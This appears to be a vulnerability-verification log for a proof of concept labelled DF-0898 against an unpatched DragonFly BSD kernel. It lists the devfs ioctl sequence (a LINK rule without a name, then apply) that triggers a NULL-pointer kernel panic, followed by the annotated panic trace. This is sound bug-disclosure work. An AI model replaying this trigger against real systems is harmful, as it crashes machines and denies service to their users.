=== DF-0898 PoC on UNPATCHED baseline kernel (6.5-DEVELOPMENT #0) ===
Kernel: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026
sha256(/boot/kernel/kernel) = 5dc83dac19ad09effd6241c33e0c0669d41b6497ee92d87d3a2e45f287bc22ad
Cmd: cd /root/poc/DF-0898 && ./trigger

=== DECISIVE BASELINE RUN ===
[*] sizeof(struct devfs_rule_ioctl) = 3112
[*] rule_type=0x0 rule_cmd=0x1 (LINK=0x1, NAME=0x1)
[*] Sending DEVFS_RULE_ADD (LINK without NAME)...
[*] DEVFS_RULE_ADD returned 0 (errno=0: Undefined error: 0)        <-- rule accepted, name=NULL
[*] Sending DEVFS_RULE_APPLY (triggers NULL deref)...
[*] DEVFS_RULE_APPLY returned 0 (errno=0: Undefined error: 0)      <-- apply queued async, returns 0
[!] Reached end of program — kernel did NOT panic (bug absent?)    <-- syscall returned; panic is async

(ssh then times out at 30s; guest is in DDB on panic)

=== STATUS post-run ===
down (guest panicked in Idle context after the syscall returned)

=== PANIC SIGNATURE (from dfbsd-qemu/boot.log) ===
Fatal trap 12: page fault while in kernel mode
cpuid = 1; lapic id = 1
fault virtual address    = 0xffffffffffffffff     <-- NULL + (ptrdiff_t)(u_char 0 - 1)
fault code                = supervisor read data, page not present
instruction pointer       = 0x8:0xffffffff809243d7
stack pointer             = 0x10:0xfffff8008d1f0180
frame pointer             = 0x10:0xfffff8008d1f09a0
current process           = Idle                   <-- async devfs apply runs in idle thread
current thread            = pri 12
kernel: type 12 trap, code=0

CPU1 stopping CPUs: 0x0000003d
 stopped
Stopped at      devfs_rule_create_link+0x27:    cmpb    $0x2a,-0x1(%rdi,%rax,1)
                                               ^^ 0x2a = '*' ; the exact comparison at devfs_rules.c:243
                                                  %rdi = rule->name = NULL
                                                  %rax = rule->namlen = 0
                                                  effective addr = NULL + 0 - 1 = 0xFFFFFFFFFFFFFFFF
db>